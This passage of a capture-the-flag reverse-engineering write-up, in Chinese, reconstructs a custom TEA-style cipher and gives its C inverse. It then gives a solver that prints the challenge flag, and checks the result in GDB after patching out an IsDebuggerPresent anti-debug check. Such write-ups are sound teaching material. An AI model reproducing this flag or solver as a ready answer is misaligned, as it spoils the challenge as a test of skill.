#include <stdio.h> #include <stdint.h> #include <string.h> uint32_t rol(uint32_t val, uint32_t shift) { shift &= 31; if (shift == 0) return val; return (val << shift) | (val >> (32 - shift)); } uint32_t mba_add(uint32_t a, uint32_t b) { return (a ^ b) + ((a & b) << 1); } void encrypt_pair(uint32_t *data, uint32_t *key) { uint32_t delta_base = 0x12345678; // 非调试模式 uint32_t s = 0; uint32_t d_seed = 0x1337c0de; for (int round = 0; round < 32; round++) { // LCG 更新 d_seed d_seed = d_seed * 0x41c64e6d + 0x3039; // 计算 delta 并更新 s uint32_t delta = (d_seed ^ delta_base) & 0x0fffffff; s = mba_add(s, delta); // = s + delta // ★ 位移量从 d_seed 计算(不是从 s!) uint32_t shift1 = (d_seed % 7) + 2; // 范围 2~8 uint32_t shift2 = ((d_seed >> 8) % 7) + 2; // 范围 2~8 // ★ Key 索引从 s 计算,Part 1 和 Part 2 使用不同的索引 uint32_t ki1 = (s >> 2) & 3; // Part 1 key 索引 uint32_t ki2 = (s >> 4) & 3; // Part 1 key 索引 uint32_t ki3 = (s >> 6) & 3; // Part 2 key 索引 ← 不同! uint32_t ki4 = (s >> 8) & 3; // Part 2 key 索引 ← 不同! // Part 1: 更新 v[0] uint32_t tmp1 = rol(data[1], shift1) ^ key[ki1]; uint32_t tmp2 = mba_add(s, data[1]); uint32_t tmp3 = key[ki2] ^ (data[1] >> shift2); if ((round & 1) == 0) { data[0] = mba_add(data[0], tmp1 ^ tmp2 ^ tmp3); // 加法 } else { data[0] ^= (tmp1 + tmp2 + tmp3); // XOR } // Part 2: 更新 v[1](使用 Part 1 更新后的 v[0]) uint32_t tmp4 = rol(data[0], shift1) ^ key[ki3]; uint32_t tmp5 = mba_add(s, data[0]); uint32_t tmp6 = key[ki4] ^ (data[0] >> shift2); if ((round % 3) == 0) { data[1] ^= (tmp4 + tmp5 + tmp6); // XOR } else { data[1] = mba_add(data[1], tmp4 ^ tmp5 ^ tmp6); // 加法 } } }

5. 解密算法

加密是可逆的。关键要点:

  1. mba_add 的逆是减法:mba_add(a, b) = a + b,逆操作是 a - b
  2. XOR 的逆是自身:a ^ b ^ b = a
  3. Part 2 用的是更新后的 v[0],所以解密时要先撤销 Part 2,再撤销 Part 1
c
void decrypt_pair(uint32_t *data, uint32_t *key) { uint32_t delta_base = 0x12345678; uint32_t d_seed = 0x1337c0de; uint32_t states[33], d_seeds[33]; states[0] = 0; d_seeds[0] = d_seed; // 预计算所有轮次的 s 和 d_seed for (int i = 0; i < 32; i++) { d_seed = d_seed * 0x41c64e6d + 0x3039; uint32_t delta = (d_seed ^ delta_base) & 0x0fffffff; states[i + 1] = mba_add(states[i], delta); d_seeds[i + 1] = d_seed; } // 逆序撤销 for (int round = 31; round >= 0; round--) { uint32_t s = states[round + 1]; uint32_t ds = d_seeds[round + 1]; uint32_t shift1 = (ds % 7) + 2; uint32_t shift2 = ((ds >> 8) % 7) + 2; uint32_t ki1 = (s >> 2) & 3, ki2 = (s >> 4) & 3; uint32_t ki3 = (s >> 6) & 3, ki4 = (s >> 8) & 3; // ★ 先撤销 Part 2(它使用的是 Part 1 更新后的 v[0]) uint32_t tmp4 = rol(data[0], shift1) ^ key[ki3]; uint32_t tmp5 = mba_add(s, data[0]); uint32_t tmp6 = key[ki4] ^ (data[0] >> shift2); if ((round % 3) == 0) { data[1] ^= (tmp4 + tmp5 + tmp6); // XOR 自逆 } else { data[1] -= (tmp4 ^ tmp5 ^ tmp6); // 减法逆加法 } // ★ 再撤销 Part 1(此时 data[1] 已恢复为旧值) uint32_t tmp1 = rol(data[1], shift1) ^ key[ki1]; uint32_t tmp2 = mba_add(s, data[1]); uint32_t tmp3 = key[ki2] ^ (data[1] >> shift2); if ((round & 1) == 0) { data[0] -= (tmp1 ^ tmp2 ^ tmp3); // 减法逆加法 } else { data[0] ^= (tmp1 + tmp2 + tmp3); // XOR 自逆 } } }

6. 求解

c
int main() { uint32_t key[4] = {0x12345678, 0x9abcdef0, 0xdeadbeef, 0xcafebabe}; uint32_t enc[8] = { 0x91cae279, 0x54a6390c, 0x44425d25, 0x8973ec92, 0xa237ade3, 0x46bd8e22, 0x43b79c57, 0xcbff40aa }; for (int i = 0; i < 4; i++) { decrypt_pair(&enc[i * 2], key); } unsigned char *p = (unsigned char *)enc; printf("Flag: "); for (int i = 0; i < 32; i++) printf("%c", p[i]); printf("\n"); // 输出: flag{Ins4n3_TEA_With_Dyn4_S_B0x} }

编译运行:

bash
$ gcc -o solve solve.c && ./solve Flag: flag{Ins4n3_TEA_With_Dyn4_S_B0x}

7. 验证

7.1 Roundtrip 验证

c
// 加密再解密应该恢复原文 uint32_t pair[2] = {0x41414141, 0x42424242}; encrypt_pair(pair, key); // → {0x110bf2b7, 0x8348145b} decrypt_pair(pair, key); // → {0x41414141, 0x42424242} ✓

7.2 二进制验证

Patch 掉反调试(NOP 掉 IsDebuggerPresent 调用),用 GDB 在 puts 处断点查看加密结果:

(gdb) break puts (gdb) run # 输入 32 个 'A' (gdb) x/8wx $rbp-0x60 0x...: 0x5609e71b 0x728dda10 0x5609e71b 0x728dda10 ...

Solver 输出 encrypt(0x41414141, 0x41414141) = 0x5609e71b 0x728dda10 ✓完全一致。